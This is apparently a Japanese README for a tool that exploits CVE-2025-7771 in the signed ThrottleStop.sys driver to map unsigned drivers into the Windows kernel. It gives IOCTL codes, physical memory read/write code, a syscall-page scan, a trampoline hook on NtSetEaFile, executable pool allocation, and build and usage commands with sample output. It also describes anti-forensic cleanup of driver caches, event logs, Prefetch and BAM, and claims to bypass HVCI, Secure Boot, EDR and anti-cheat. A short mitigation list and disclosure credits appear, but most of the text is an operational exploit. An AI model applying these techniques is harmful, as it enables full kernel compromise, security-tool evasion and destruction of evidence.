
throttlestopの脆弱性を利用して、未署名ドライバからシステム権限を昇格させる
CVE-2025-7771 — ThrottleStop.sys IOCTLによる任意物理メモリ読み取り/書き込み
このプロジェクトは教育および研究目的のみで公開されています。その目的は、署名された信頼済みカーネルドライバーが、AdministratorからSYSTEM/カーネルへのローカル特権昇格(LPE)のために悪用され得ることを実証し、HVCI(ハイパーバイザー適用コード整合性)やセキュアブートを含む最新のWindowsセキュリティ機能を実質的に回避できることを示すことです。
悪意のある目的でこのツールを使用しないでください。 作者は誤用について一切責任を負いません。
ThrottleStop.sysを同梱する全バージョンThrottleStop.sysカーネルドライバーは、ローカルのAdministratorなら誰でもアクセス可能なデバイス(\\.\ThrottleStop)を公開しています。このデバイスは、無制限の物理メモリアクセスを提供する2つのIOCTLを実装しています:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
ドライバーはMmMapIoSpace()を呼び出して要求された物理アドレスをカーネル仮想空間にマップし、データを出力バッファにコピーしてからMmUnmapIoSpace()を呼び出します。物理アドレスに対する検証は一切行われません — 物理アドレス空間内の任意のアドレスを読み取ることができます。
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
読み取りと同じ仕組みですが、ユーザーが指定したデータをマップした物理アドレスに書き込みます。ここでもアドレスまたは範囲の検証は一切ありません。
このドライバーは、ThrottleStop(CPUアンダーボルティング/スロットリングユーティリティ)がMSRやハードウェアレジスタを直接読み書きできるように設計されました。物理メモリIOCTLはおそらくPCIコンフィギュレーションスペースやCPU温度センサーへのMMIOアクセスのために追加されたものですが、実装にはゼロの境界チェックしかありません:
GENERIC_READ | GENERIC_WRITEハンドルアクセスを要求する以外のACL制限がないこれにより、正当なハードウェアユーティリティドライバーが完全なカーネルレベルの読み取り/書き込みプリミティブに変貌します。
このエクスプロイトチェーンは、ローカルAdministratorアカウントから任意のカーネルコード実行へと昇格し、実質的にSYSTEMレベルのring-0制御を達成します。
マッパーはThrottleStop.sysを%TEMP%に配置し、HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStopの下にサービスレジストリエントリを作成し、NtLoadDriver()を介して読み込みます:
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
注記: ThrottleStop.sysは正当に署名されているため、HVCI/セキュアブートが有効でも読み込まれます。WindowsのCIポリシーはその証明書を信頼します。
デバイスハンドルを取得すると、エクスプロイトはシステム上の任意の物理アドレスを読み書きできます:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
エクスプロイトはこれらをヘルパー関数にラップし、任意の長さの転送のためにチャンク読み取り/書き込み(1、2、4、または8バイト/回)を処理します。
任意のカーネル関数を実行するために、エクスプロイトはカーネルsyscallハンドラの物理アドレスを見つける必要があります。対象はNtSetEaFile(めったに監視されないsyscall)です:
LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)でユーザーモードのntoskrnl.exeを読み込み、NtSetEaFileのRVAを取得するRVA & 0x1FFFFF となるHARDWARE\RESOURCEMAP\System Resources\Physical Memory)から物理メモリ範囲を列挙し、2MB単位でストライドしてバイトを比較する:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid)を実行し、返されたベースがGetModuleHandle(NULL)と一致することを確認する。NtSetEaFileの物理アドレスが判明したら、エクスプロイトは物理メモリ書き込みを介して12バイトのトランポリンを直接インストールします:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
重要な洞察: 物理ページへの書き込みはHVCIの仮想メモリ保護をバイパスします。HVCIは
W+X仮想ページを防ぎますが、ドライバー内のMmMapIoSpaceを介した物理メモリ書き込みはRAMに直接到達します。
syscallフックプリミティブを使用すると、エクスプロイトは任意のカーネル関数を任意の引数で呼び出すことができます:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
これにより、未署名ドライバーをカーネル空間にマップして実行できます — 完全な特権昇格です。
ペイロードを読み込んだ後、エクスプロイトはすべての痕跡を消去します:
HVCI(ハイパーバイザー適用コード整合性) は、Second Level Address Translation(SLAT/EPT)を通じてカーネル仮想ページにW^X(Write XOR Execute)を適用することで、未署名コードのカーネル空間での実行を防ぎます。
このエクスプロイトがHVCIを回避する理由:
正規のドライバー: ThrottleStop.sysは適切に署名されておりCI検証を通過するため、HVCIが有効でも通常どおり読み込まれます。
仮想ではなく物理: IOCTLは物理アドレスに対して動作するMmMapIoSpace()を使用します。HVCIの保護は仮想ページテーブルレベルとEPTで適用されますが、MmMapIoSpaceは適切なアクセス許可を持つ物理ページの新しい仮想マッピングを作成します。syscallの物理ページへの書き込みは、既存の仮想マッピングがすでに指しているRAMの内容を変更します。
実行可能プール: エクスプロイトはExAllocatePool2をPOOL_FLAG_NON_PAGED_EXECUTEとともに使用してメモリを割り当てます。これは実行可能なカーネルメモリを取得するための正規でHVCI承認済みの方法です。カーネル自体もJITコンパイルコードや特定のプール割り当てにこれを使用します。
未署名ドライバーの読み込みなし: マッパーは未署名イメージでNtLoadDriverを呼び出すことはありません。代わりに、ペイロードを既存の実行可能カーネルプール割り当てに手動で書き込み、syscallフックを介してそのエントリポイントを呼び出します。
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys
# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
ThrottleStop.sysのハッシュをMicrosoft推奨ドライバーブロックルールに追加するMmMapIoSpace呼び出しをブロックするMmMapIoSpaceの代わりにMSR固有のIOCTL(rdmsr/wrmsr)を使用するMmMapIoSpaceを既知のMMIO範囲(PCI BAR領域、LAPICなど)に制限するThrottleStop.sysをハッシュでブロックするカスタムWindows Defender Application Control(WDAC)ポリシーを作成するこのプロジェクトは教育研究目的のMITライセンスの下で公開されています。基盤となるphysmemeフレームワークは© 2020 xerox(MITライセンス)です。
🔬 責任ある開示: この脆弱性は**Demoo1337**によって発見され、ベンダーに開示されました。このリポジトリはセキュリティ研究コミュニティ向けのドキュメントとして機能します。
| フィールド | 詳細 |
|---|
| CVE | CVE-2025-7771 |
| ドライバー | ThrottleStop.sys (ThrottleStopに同梱) |
| ベンダー | TechPowerUp / Kevin Glynn |
| 種別 | 任意物理メモリ読み取り/書き込み |
| 影響 | ローカル特権昇格 (Admin → Kernel) |
| CVSS | 8.2 (高) |
| 署名 | WHQL / アテステーションによるMicrosoft署名 |
| HVCI回避 | ✅ はい — ドライバーは正当に署名されており、CIポリシーで許可されています |
| アーティファクト | クリーンアップ方法 |
|---|
| PiDDBキャッシュ | PiDDBLockをアンロックし、RtlLookupElementGenericTableAvlでAVLツリー内のエントリを見つけ、リンクを外して削除 |
| MmUnloadedDrivers | 50エントリの循環バッファをスキャンし、一致する名前とエントリをゼロ化 |
| BigPoolTable | PoolBigPageTableをスキャンして割り当てVAを見つけ、エントリをゼロ化 |
| プールヘッダー | POOL_HEADERタグをMmSt(一般的なシステムタグ)に偽装 |
| PEヘッダー | カーネル割り当て内のDOS/NTヘッダー、インポートディレクトリ、デバッグディレクトリ、破棄可能セクションをゼロ化 |
| レジストリ | HKLM\...\Services\ThrottleStopキーツリーを削除 |
| ドライバーファイル | %TEMP%からThrottleStop.sysを削除 |
| イベントログ | システムログとセキュリティログの関連エントリを消去 |
| Prefetch / BAM | ShimCache、BAM(Background Activity Moderator)、Prefetchアーティファクトをクリーンアップ |
| カテゴリ | 影響 |
|---|
| 機密性 | 🔴 完全 — カーネル/プロセスメモリを任意に読み取り可能 |
| 整合性 | 🔴 完全 — 任意のカーネル構造に書き込み、任意の関数をフック可能 |
| 可用性 | 🟡 高 — 不適切な書き込みはBSODを引き起こす |
| 認証バイパス | 🔴 AdminからSYSTEMアクセスを獲得 |
| アンチチートバイパス | 🔴 カーネルレベルアンチチート(EAC、BattlEye、Vanguard)をバイパス |
| EDRバイパス | 🔴 EDRフックの下で実行され、セキュリティツールのフック解除/無効化が可能 |
| HVCI | 🔴 正規の署名済みドライバーを介してバイパス |
| セキュアブート | 🔴 バイパス(ドライバーは有効な署名を持つ) |
| 誰 | 貢献 |
|---|
| Demoo1337 | CVE-2025-7771の最初の発見と文書化。ThrottleStop.sys IOCTLハンドラーをリバースエンジニアリングし、MmMapIoSpace物理メモリ脆弱性を特定し、最初の概念実証エクスプロイトを公開。このプロジェクトは彼の研究なしには存在しなかったでしょう。 |
| xerox / IDontCode | カーネルマッパー、syscallフック、フォレンジッククリーンアップロジックの基盤として使用されたphysmemeフレームワークの作者。 |
| TheCruZ | PiDDBキャッシュクリーンアップとドライバーマッピングの技術がこの実装に影響を与えたkdmapperの作者。 |